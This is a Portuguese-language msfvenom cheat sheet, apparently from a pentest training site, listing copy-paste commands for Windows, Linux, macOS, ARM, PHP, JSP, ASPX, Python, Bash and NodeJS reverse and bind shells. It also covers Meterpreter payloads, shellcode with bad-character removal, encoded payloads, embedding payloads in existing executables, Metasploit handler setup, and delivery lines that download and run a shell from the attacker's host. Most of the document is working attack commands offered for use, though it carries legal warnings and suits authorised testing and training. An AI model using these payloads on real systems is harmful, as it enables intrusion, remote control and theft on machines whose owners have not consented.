Cheat Sheet Msfvenom 2026: Comandos de Payload para Copiar-Colar

Penetration Testing
20 min de leitura
Cheat Sheet Msfvenom 2026: Comandos de Payload para Copiar-Colar
Nesta página
  1. 🚀 Top 15 Comandos Msfvenom (Prontos para Copiar-Colar)
  2. 📑 Navegação Rápida
  3. 🔧 O que é o Msfvenom?
  4. ⚙️ Sintaxe Básica do Msfvenom
    1. Flags Essenciais
    2. Variáveis de Payload
  5. 🔍 Listando Payloads, Formatos e Encoders
    1. Comandos de Descoberta
    2. Filtrando Payloads
  6. 🪟 Payloads Windows
    1. Payloads de Reverse Shell
    2. Payloads de Bind Shell
    3. Formatos Alternativos para Windows
    4. Payloads PowerShell
  7. 🐧 Payloads Linux
    1. Payloads de Reverse Shell
    2. Payloads de Bind Shell
    3. Payloads ARM (Dispositivos IoT)
  8. 🍎 Payloads macOS
    1. Payloads de Reverse Shell
    2. Payloads de Bind Shell
  9. 🌐 Payloads de Aplicações Web
    1. Payloads PHP
    2. Payloads JSP (Java)
    3. Payloads ASP/ASPX
    4. Payloads Python
    5. Payloads Bash e Shell
    6. Payloads NodeJS
  10. 💉 Geração de Shellcode
    1. Formatos Comuns de Shellcode
    2. Exemplos de Shellcode
    3. Tamanho do Payload e Cálculos de Buffer
    4. Evitando Caracteres Ruins
  11. 🛡️ Encoders e Codificação de Payload
    1. Encoders Populares
    2. Comandos de Codificação
    3. Templates de Executável
  12. 📡 Configurando Handlers do Metasploit
    1. Configuração Básica do Handler
    2. Handler em Uma Linha
    3. Arquivo de Recurso do Handler
  13. 🎯 Cenários Comuns de Teste de Penetração
    1. Alvo Windows (Rede Interna)
    2. Alvo Linux (Estilo CTF)
    3. Upload de Web Shell
    4. Exploit de Buffer Overflow
  14. 📋 Cartão de Referência Rápida
    1. 🎯 Comandos Mais Usados
    2. ⚡ Flags Principais
  15. ⚖️ Considerações Legais e Éticas
  16. 🔧 Solução de Problemas Comuns
    1. Incompatibilidade de Payload no Handler
    2. Escolhendo o LHOST Certo
    3. Payload Não Executa
    4. Conexão Não Recebida
  17. 🎮 Pratique Suas Habilidades com Payloads
    1. Laboratórios Recomendados para Praticar Msfvenom
  18. ❓ Perguntas Frequentes
    1. Para que serve o msfvenom?
    2. Qual a diferença entre um payload staged e stageless?
    3. Para que serve a codificação?
    4. Como sei qual payload usar?
  19. 📚 Recursos Relacionados
  20. 🏁 Conclusão

Precisa de um reverse shell? Msfvenom gera em um único comando. Executável Windows, ELF Linux, shell web PHP ou shellcode bruto para seu exploit de buffer overflow: msfvenom lida com todos. Para o panorama completo, veja nosso guia completo de teste de penetração.

Esta cheat sheet msfvenom fornece comandos copiar-colar para cada cenário de payload em 2026. Sem enrolação, apenas one-liners funcionais que você pode usar imediatamente. Se você está começando em exploração, comece com nosso guia CTF para iniciantes.

📅 Atualizado: Janeiro 2026 🔧 Metasploit 6.x ⏱️ 15 min de leitura
Baixar a Cheat Sheet em PDF

Referência de uma página para impressão com todos os comandos essenciais do msfvenom.

Baixar PDF

🚀 Top 15 Comandos Msfvenom (Prontos para Copiar-Colar)

Os comandos msfvenom mais comuns para referência rápida. Copie, cole, substitua 10.10.10.10 pelo seu IP e 4444 pela sua porta.

# Meterpreter Windows (64 bits)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

# Meterpreter Windows (32 bits)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

# Meterpreter Linux (64 bits)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell

# Shell Linux (64 bits)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell

# Reverse shell macOS
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o shell

# Shell web PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php

# Shell web JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp

# Arquivo WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war

# Shell web ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f asp -o shell.asp

# Shell web ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o shell.aspx

# Payload Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py

# One-liner Bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.sh

# PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh -o shell.ps1

# Shellcode (formato C)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00"

# Payload codificado (remoção de caracteres ruins, ofuscação básica)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
Alvo Payload Formato
Windows x64 windows/x64/meterpreter/reverse_tcp exe
Windows x86 windows/meterpreter/reverse_tcp exe
Linux x64 linux/x64/meterpreter/reverse_tcp elf
macOS osx/x64/shell_reverse_tcp macho
PHP php/meterpreter/reverse_tcp raw
Java/JSP java/jsp_shell_reverse_tcp war
Bash cmd/unix/reverse_bash raw
PowerShell windows/x64/meterpreter/reverse_tcp psh

🔧 O que é o Msfvenom?

Msfvenom é o gerador de payloads do Metasploit Framework. Ele substituiu as antigas ferramentas msfpayload e msfencode, unindo geração e codificação de payloads em um único utilitário.

Reverse Shells

O alvo se conecta de volta à sua máquina

Bind Shells

Abre uma porta no alvo, e você se conecta a ela

Meterpreter

Shell avançado com recursos de pós-exploração

Shellcode

Bytes brutos para exploits de buffer overflow

O Msfvenom gera payloads em formatos para cada cenário: .exe para Windows, .elf para Linux, .php para aplicações web e shellcode bruto para desenvolvimento de exploits. Ele se integra ao multi/handler do Metasploit para capturar conexões de entrada.

Dica Pro: Conheça o SO e a arquitetura do alvo antes de gerar payloads. Um payload de 64 bits não roda em um sistema de 32 bits.

⚙️ Sintaxe Básica do Msfvenom

Entender a sintaxe do msfvenom é essencial para gerar payloads com eficácia. A estrutura básica de comando segue um padrão consistente que você vai usar para cada payload.

msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>

Flags Essenciais

Flag Descrição Exemplo
-p Payload a usar -p windows/meterpreter/reverse_tcp
-f Formato de saída -f exe
-o Arquivo de saída -o shell.exe
-e Encoder a usar -e x86/shikata_ga_nai
-i Iterações de codificação -i 5
-b Caracteres ruins a evitar -b "\x00\x0a\x0d"
-a Arquitetura -a x64
--platform Plataforma alvo --platform windows

Variáveis de Payload

Variável Descrição Usado Para
LHOST Host local (seu IP) Reverse shells
LPORT Porta local (seu listener) Reverse shells
RHOST Host remoto (IP do alvo) Bind shells
RPORT Porta remota (porta do alvo) Bind shells

🔍 Listando Payloads, Formatos e Encoders

Antes de gerar payloads, você precisa saber o que está disponível. Estes comandos ajudam a explorar os recursos do msfvenom e encontrar o payload certo para o seu cenário.

Comandos de Descoberta

Comando Descrição
msfvenom -l payloads Listar todos os payloads disponíveis
msfvenom -l formats Listar todos os formatos de saída
msfvenom -l encoders Listar todos os encoders
msfvenom -l archs Listar as arquiteturas suportadas
msfvenom -l platforms Listar as plataformas suportadas
msfvenom -l encrypt Listar as opções de criptografia

Filtrando Payloads

# Listar apenas payloads Windows
msfvenom -l payloads | grep windows

# Listar payloads de reverse shell Linux
msfvenom -l payloads | grep linux | grep reverse

# Listar payloads PHP
msfvenom -l payloads | grep php

# Exibir opções do payload
msfvenom -p windows/meterpreter/reverse_tcp --list-options

Dica Pro: Use --list-options para ver todas as opções configuráveis de um payload específico. Isso mostra as variáveis obrigatórias e opcionais, ajudando a personalizar payloads para cenários específicos.

🪟 Payloads Windows

O Windows é o alvo mais comum em testes de penetração. Gere executáveis, DLLs, scripts PowerShell e pacotes MSI para exploração de Windows.

💡 Escolha Rápida: Para a maioria dos alvos Windows, use windows/x64/meterpreter/reverse_tcp com o formato exe. Funciona no Windows 7+ e dá acesso total aos recursos do Meterpreter.

Staged vs Stageless: Nomes de payload com / (como meterpreter/reverse_tcp) são staged e exigem um handler para enviar o segundo estágio. Nomes de payload com _ (como meterpreter_reverse_tcp) são stageless e contêm tudo em um único arquivo. Use stageless quando restrições de rede puderem bloquear o download do estágio.

Payloads de Reverse Shell

# Reverse shell TCP Windows (32 bits)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

# Reverse shell TCP Windows (64 bits)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell64.exe

# Meterpreter reverse TCP (32 bits)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o meterpreter.exe

# Meterpreter reverse TCP (64 bits)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o meterpreter64.exe

# Meterpreter reverse HTTPS (criptografado, geralmente liberado na saída)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f exe -o https_shell.exe

Payloads de Bind Shell

# Bind shell TCP Windows
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe -o bind_shell.exe

# Meterpreter bind TCP
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_meterpreter.exe

Formatos Alternativos para Windows

Formato Flag Caso de Uso
Executável -f exe Executável padrão do Windows
DLL -f dll Ataques de DLL hijacking
MSI -f msi Pacote instalador do Windows
PowerShell -f psh Script PowerShell
Comando PowerShell -f psh-cmd One-liner para injeção de comando

Payloads PowerShell

# Payload de script PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh -o shell.ps1

# One-liner PowerShell (para injeção de comando)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh-cmd

# PowerShell codificado em Base64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh-reflection

Pratique a exploração de sistemas Windows com esses payloads no Laboratório Hack the Box da HackerDNA, que simula um ambiente Windows real para prática de teste de penetração.

🐧 Payloads Linux

Payloads Linux geram binários ELF para sistemas baseados em Unix. Funcionam na maioria das distribuições e podem mirar dispositivos embarcados com arquiteturas ARM/MIPS.

💡 Escolha Rápida: Para CTFs e a maioria dos alvos Linux, use linux/x64/shell_reverse_tcp com o formato elf. Simples, confiável e funciona sem dependências do Meterpreter.

Payloads de Reverse Shell

# Reverse shell TCP Linux (32 bits)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell

# Reverse shell TCP Linux (64 bits)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell64

# Meterpreter reverse TCP (32 bits)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o meterpreter

# Meterpreter reverse TCP (64 bits)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o meterpreter64

Payloads de Bind Shell

# Bind shell TCP Linux
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f elf -o bind_shell

# Meterpreter bind TCP
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o bind_meterpreter

Payloads ARM (Dispositivos IoT)

# Reverse shell ARM (Raspberry Pi, roteadores)
msfvenom -p linux/armle/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o arm_shell

# Reverse shell MIPS (dispositivos embarcados)
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o mips_shell

Dica Pro: Depois de gerar um payload Linux, torne-o executável com chmod +x. Transfira-o para o alvo usando wget, curl ou um servidor HTTP em Python, então execute-o para estabelecer sua conexão.

🍎 Payloads macOS

Payloads macOS geram binários Mach-O para sistemas Apple. Eles funcionam em Macs baseados em Intel e podem ser úteis ao mirar estações de trabalho de desenvolvedores ou servidores macOS.

Payloads de Reverse Shell

# Reverse shell TCP macOS (Intel 64 bits)
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o shell

# Meterpreter reverse TCP macOS
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o meterpreter

# Reverse HTTPS macOS (geralmente liberado na saída)
msfvenom -p osx/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f macho -o https_shell

Payloads de Bind Shell

# Bind shell TCP macOS
msfvenom -p osx/x64/shell_bind_tcp LPORT=4444 -f macho -o bind_shell

# Meterpreter bind TCP macOS
msfvenom -p osx/x64/meterpreter/bind_tcp LPORT=4444 -f macho -o bind_meterpreter

Notas sobre macOS: O macOS moderno inclui o Gatekeeper e exigências de assinatura de código. Binários não assinados vão disparar avisos de segurança. Para testes autorizados em sistemas que você controla, você pode remover o atributo de quarentena com xattr -d com.apple.quarantine shell ou usar métodos alternativos de entrega como payloads em Python ou Bash. Macs com Apple Silicon (M1/M2/M3) podem rodar payloads x64 via Rosetta 2.

🌐 Payloads de Aplicações Web

Essenciais para exploits de upload de arquivo, injeção de comando e ataques a aplicações web. Gere payloads PHP, JSP, ASP, Python, Bash e NodeJS.

💡 Escolha Rápida: Para vulnerabilidades de upload de arquivo em PHP, use php/reverse_php com o formato raw. Lembre-se de adicionar a tag <?php manualmente!

Payloads PHP

# Reverse shell PHP
msfvenom -p php/reverse_php LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php

# Meterpreter reverse TCP PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o meterpreter.php

# Bind shell PHP
msfvenom -p php/bind_php LPORT=4444 -f raw -o bind_shell.php

Payloads JSP (Java)

# Reverse shell JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp

# Bind shell JSP
msfvenom -p java/jsp_shell_bind_tcp LPORT=4444 -f raw -o bind_shell.jsp

# Arquivo WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war

Payloads ASP/ASPX

# Reverse shell ASP
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f asp -o shell.asp

# Reverse shell ASPX
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o shell.aspx

# Meterpreter ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o meterpreter.aspx

Payloads Python

# Reverse shell Python
msfvenom -p python/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py

# Meterpreter Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o meterpreter.py

Payloads Bash e Shell

# Reverse shell Bash (útil para injeção de comando)
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.sh

# Reverse shell Netcat
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.10.10 LPORT=4444 -f raw

# Reverse shell Perl
msfvenom -p cmd/unix/reverse_perl LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.pl

# Reverse shell Ruby
msfvenom -p cmd/unix/reverse_ruby LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.rb

Payloads NodeJS

# Reverse shell NodeJS
msfvenom -p nodejs/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.js

# Bind shell NodeJS
msfvenom -p nodejs/shell_bind_tcp LPORT=4444 -f raw -o bind_shell.js

Pegadinha do Payload PHP: Os payloads PHP do msfvenom NÃO incluem a tag de abertura <?php. Você precisa adicioná-la manualmente: echo '<?php ' | cat - shell.php > shell_final.php. Sem isso, o payload é executado como texto puro em vez de código PHP.

Aprenda a explorar vulnerabilidades de upload de arquivo e a entregar payloads web em nosso Curso de Segurança de Aplicações Web. Pratique uploads de shell PHP no Desafio File Upload Bypass, ou teste payloads de injeção de SQL no Laboratório SQL Injection Test.

💉 Geração de Shellcode

Shellcode é código de máquina bruto usado em exploits de buffer overflow e no desenvolvimento de malware personalizado. O msfvenom gera shellcode em múltiplos formatos para diferentes linguagens de programação.

Formatos Comuns de Shellcode

Formato Flag Caso de Uso
Bytes brutos -f raw Shellcode binário direto
Array C -f c Desenvolvimento de exploits em C
Python -f python Scripts de exploit em Python
Ruby -f ruby Scripts de exploit em Ruby
Hex -f hex String hexadecimal
JavaScript -f js_le Exploits de navegador

Exemplos de Shellcode

# Shellcode em C para buffer overflow
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00"

# Shellcode Python
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f python -b "\x00\x0a\x0d"

# Shellcode bruto (para injeção manual)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shellcode.bin

# Formato hex
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f hex

Tamanho do Payload e Cálculos de Buffer

O tamanho do payload importa para exploits de buffer overflow. Seu shellcode precisa caber no espaço de buffer disponível. O msfvenom exibe informações de tamanho durante a geração.

# Verificar o tamanho do payload antes de gerar
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00" 2>&1 | grep "Payload size"

# Tamanhos típicos (aproximados):
# windows/shell_reverse_tcp:     ~324 bytes
# windows/meterpreter/reverse_tcp: ~354 bytes (staged, apenas o stager)
# linux/x86/shell_reverse_tcp:   ~68 bytes
# cmd/unix/reverse_bash:         ~60 bytes

Dica de Tamanho: Payloads staged são menores porque o stager baixa o payload completo. Se o espaço de buffer for limitado, use payloads staged. Se você precisa de confiabilidade em vez de tamanho, use stageless. Adicione um NOP sled com -n 16 para alinhamento.

Evitando Caracteres Ruins

Exploits de buffer overflow muitas vezes não podem conter certos bytes (null bytes, quebras de linha, etc.). Use a flag -b para excluir caracteres problemáticos do seu shellcode.

# Evitar null byte e caracteres ruins comuns
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00\x0a\x0d\x20"

# Gerar com NOP sled para alinhamento
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00" -n 16

🛡️ Encoders e Codificação de Payload

Encoders transformam payloads para remover caracteres problemáticos e alterar sua assinatura de bytes. Isso é útil principalmente para remover caracteres ruins em exploits de buffer overflow e reduzir correspondências triviais de assinatura durante testes autorizados.

Verificação de Realidade: Produtos de segurança modernos usam análise comportamental, sandboxing e machine learning. A codificação por si só não vence essas defesas. O principal uso legítimo da codificação é remover caracteres ruins de shellcode para desenvolvimento de exploits.

Encoders Populares

Encoder Classificação Descrição
x86/shikata_ga_nai Excelente Encoder XOR polimórfico (o mais popular)
x64/xor Normal Encoder XOR de 64 bits
x86/fnstenv_mov Normal Encoder fnstenv/mov de tamanho variável
cmd/powershell_base64 Excelente Encoder Base64 para PowerShell

Comandos de Codificação

# Uma única iteração de codificação
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe

# Múltiplas iterações de codificação
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o multi_encoded.exe

# Encadear múltiplos encoders
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -e x86/countdown -i 3 -f exe -o chain_encoded.exe

Templates de Executável

Embuta payloads em executáveis existentes usando a flag -x. A funcionalidade do executável original é preservada junto com o payload. Isso é útil para entender como payloads podem ser empacotados durante avaliações autorizadas.

# Embutir payload em um executável existente
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -x /path/to/template.exe -k -f exe -o output.exe

Realidade da Detecção: Produtos de segurança modernos analisam comportamento, não apenas assinaturas de arquivo. Codificação e templates são detectados por análise comportamental, sandboxing e machine learning. Essas técnicas são educacionais para entender os mecanismos de detecção, não para vencer controles de segurança.

📡 Configurando Handlers do Metasploit

Seu payload precisa de algum lugar para "ligar para casa". O módulo multi/handler captura conexões de entrada dos payloads do msfvenom.

1. Gerar
payload msfvenom
2. Iniciar
multi/handler
3. Entregar
payload ao alvo
4. Shell!
conexão recebida

Configuração Básica do Handler

# Iniciar o console do Metasploit
msfconsole

# Configurar o handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 4444
run

Handler em Uma Linha

# Handler rápido sem console interativo
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"

Arquivo de Recurso do Handler

Crie um arquivo de recurso para configurações de handler usadas com frequência:

# Salve como handler.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 4444
set ExitOnSession false
set EnableStageEncoding true
run -j

# Execute com: msfconsole -r handler.rc
Opção Descrição
ExitOnSession false Mantém o handler rodando após a conexão
run -j Executa como job em segundo plano
EnableStageEncoding true Criptografa a transmissão do estágio

Aprenda o fluxo completo de exploração em nosso Curso de Teste de Penetração em Redes, que cobre Metasploit, msfvenom e técnicas de pós-exploração.

🎯 Cenários Comuns de Teste de Penetração

Estas combinações de comandos prontas para uso cobrem as situações mais frequentes que você vai encontrar durante testes de penetração e competições de CTF.

Alvo Windows (Rede Interna)

# Gerar payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

# Transferir para o alvo (da máquina do atacante)
python3 -m http.server 80

# No alvo: powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/shell.exe','shell.exe')"

# Iniciar o handler
msfconsole -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"

Alvo Linux (Estilo CTF)

# Gerar payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell

# Iniciar o listener (netcat é mais simples para shells básicos)
nc -lvnp 4444

# Transferir e executar no alvo
# wget http://10.10.10.10/shell && chmod +x shell && ./shell

Upload de Web Shell

# Shell PHP para vulnerabilidade de upload de arquivo
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php

# Adicionar as tags PHP (a saída do msfvenom precisa delas)
echo '<?php ' | cat - shell.php > shell_final.php

# JSP para Tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war

Exploit de Buffer Overflow

# Gerar shellcode evitando null bytes
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b "\x00" -f python -v shellcode

# Com NOP sled
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b "\x00" -n 16 -f python -v shellcode

Pratique cenários de execução remota de código em nosso RCE Playground, projetado especificamente para aprender entrega de payloads e técnicas de exploração.

📋 Cartão de Referência Rápida

Comandos essenciais do msfvenom para referência rápida. Salve esta seção nos favoritos.

🎯 Comandos Mais Usados

WIN msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe
LNX msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell
PHP msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw -o shell.php
JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war
BOF msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f c -b "\x00"

⚡ Flags Principais

-p
Payload
-f
Formato
-o
Arquivo de saída
-e
Encoder
-b
Caracteres ruins
-i
Iterações
-l
Listar opções
-a
Arquitetura

⚖️ Considerações Legais e Éticas

Aviso Crítico: Msfvenom gera payloads de exploração. Usá-los contra sistemas sem autorização explícita por escrito é um crime grave em praticamente todas as jurisdições. Violações de acesso não autorizado podem resultar em multas significativas e prisão.

  • Sempre obtenha autorização por escrito antes de testar qualquer sistema que você não possui
  • Use ambientes de prática legais como HackerDNA Labs, suas próprias máquinas virtuais ou plataformas CTF autorizadas
  • Nunca implante payloads em sistemas de produção sem autorização explícita dos proprietários dos sistemas
  • Entenda seu escopo e permaneça dentro dos limites do seu acordo de engajamento
  • Documente tudo durante testes de penetração autorizados para proteção legal

As habilidades que você desenvolve com msfvenom são poderosas. Use-as responsavelmente para proteger sistemas, não para prejudicá-los. Hackers éticos constroem carreiras com base em confiança e integridade.

🔧 Solução de Problemas Comuns

Até pentesters experientes encontram problemas com payloads. Aqui estão os problemas mais comuns e como corrigi-los rapidamente.

Incompatibilidade de Payload no Handler

Problema: O handler recebe a conexão, mas a sessão morre imediatamente.

Correção: O payload no seu handler PRECISA corresponder exatamente ao payload usado no msfvenom. windows/meterpreter/reverse_tcp (staged) NÃO é o mesmo que windows/meterpreter_reverse_tcp (stageless). Copie e cole a string exata do payload.

Escolhendo o LHOST Certo

Cenário Use Esta Interface
VPN (HTB, THM, laboratórios) tun0 - o IP do seu túnel VPN
Rede local eth0 ou wlan0 - seu IP local
Atrás de NAT (alvo na internet) Seu IP público + encaminhamento de porta, ou use bind shell
Docker/VM IP do host que o alvo alcança, não o IP do contêiner
# Encontrar os IPs das suas interfaces
ip addr show | grep "inet "
# ou
ifconfig | grep "inet "

Payload Não Executa

  • ELF Linux não roda: Você fez chmod +x shell?
  • PHP mostra o código em vez de executar: Adicione a tag <?php no início
  • Windows bloqueia a execução: O software de segurança detectou; esperado em ambientes protegidos
  • Quarentena do macOS: Execute xattr -d com.apple.quarantine shell
  • Arquitetura incompatível: payload de 32 bits em sistema de 64 bits geralmente funciona; 64 bits em 32 bits falha

Conexão Não Recebida

  • Verifique o firewall: A porta do seu listener está aberta? sudo ufw allow 4444/tcp
  • Confirme que o handler está rodando: Cheque com jobs no msfconsole
  • Roteamento de rede: O alvo consegue alcançar seu LHOST? Teste com ping se possível
  • Porta errada: Verifique se o LPORT corresponde entre payload e handler

🎮 Pratique Suas Habilidades com Payloads

Ler esta cheat sheet msfvenom te dá os comandos. A prática os torna uma segunda natureza. A diferença entre conhecer a sintaxe dos payloads e explorar um alvo com sucesso está na experiência prática.

Os HackerDNA Labs oferecem máquinas vulneráveis feitas especificamente para praticar técnicas de exploração. Cada laboratório simula cenários do mundo real onde você vai gerar payloads, praticar técnicas de exploração e estabelecer shells em um ambiente seguro e legal.

Laboratórios Recomendados para Praticar Msfvenom

Comece a gerar payloads hoje. Crie sua conta gratuita na HackerDNA e pratique técnicas de exploração em um ambiente seguro e legal.

❓ Perguntas Frequentes

Para que serve o msfvenom?

O Msfvenom é um gerador de payloads do Metasploit Framework. Profissionais de segurança o usam para criar reverse shells, bind shells e shellcode para testes de penetração autorizados. Ele gera payloads em vários formatos, incluindo executáveis, scripts e shellcode bruto.

Qual a diferença entre um payload staged e stageless?

Payloads staged (como windows/meterpreter/reverse_tcp) enviam um pequeno stager inicial que baixa o payload completo. Payloads stageless (como windows/meterpreter_reverse_tcp, note o underscore) contêm tudo em um único pacote. Payloads staged são menores, mas exigem uma conexão estável. Payloads stageless são maiores, mas mais confiáveis.

Para que serve a codificação?

A codificação transforma os bytes do payload para remover caracteres problemáticos (como null bytes) que quebrariam exploits de buffer overflow. Produtos de segurança modernos usam análise comportamental, sandboxing e machine learning que detectam atividade maliciosa independentemente da codificação. O principal uso legítimo é a remoção de caracteres ruins para desenvolvimento de exploits.

Como sei qual payload usar?

Escolha com base no SO do alvo (Windows/Linux), na arquitetura (x86/x64) e nas condições de rede. Para redes internas, use reverse_tcp. Para alvos expostos à internet atrás de NAT, bind shells podem funcionar melhor. Quando HTTPS é liberado na saída, reverse_https costuma ter sucesso. Use Meterpreter para recursos completos de pós-exploração, ou payloads de shell básico para simplicidade.

📚 Recursos Relacionados

Amplie seu kit de exploração com estes guias e cursos relacionados:

🏁 Conclusão

Esta cheat sheet msfvenom cobre os comandos essenciais de geração de payload para testes de penetração em 2026. De executáveis Windows a shells web PHP, de reverse shells básicos a payloads Meterpreter codificados, essas técnicas formam a fase de exploração das avaliações de segurança.

Lembre-se: a geração de payload é apenas uma parte da exploração bem-sucedida. Combine msfvenom com reconhecimento sólido, configuração adequada do handler e técnicas de pós-exploração para testes de penetração completos. Cada shell bem-sucedido começa com o payload certo para a situação.

Lembrete Legal: Apenas gere e implante payloads contra sistemas que você possui ou tem autorização explícita por escrito para testar. Acesso não autorizado é um crime grave com consequências legais severas.

Marque esta referência, pratique em ambientes de laboratório legais e desenvolva as habilidades de exploração que separam profissionais de segurança de script kiddies.

HackerDNA Team

Equipe HackerDNA

Escrito pela equipe HackerDNA - profissionais de cibersegurança que criam labs práticos de hacking e conteúdo educativo para ajudar você a desenvolver habilidades reais em segurança.

Conhecer a Equipe

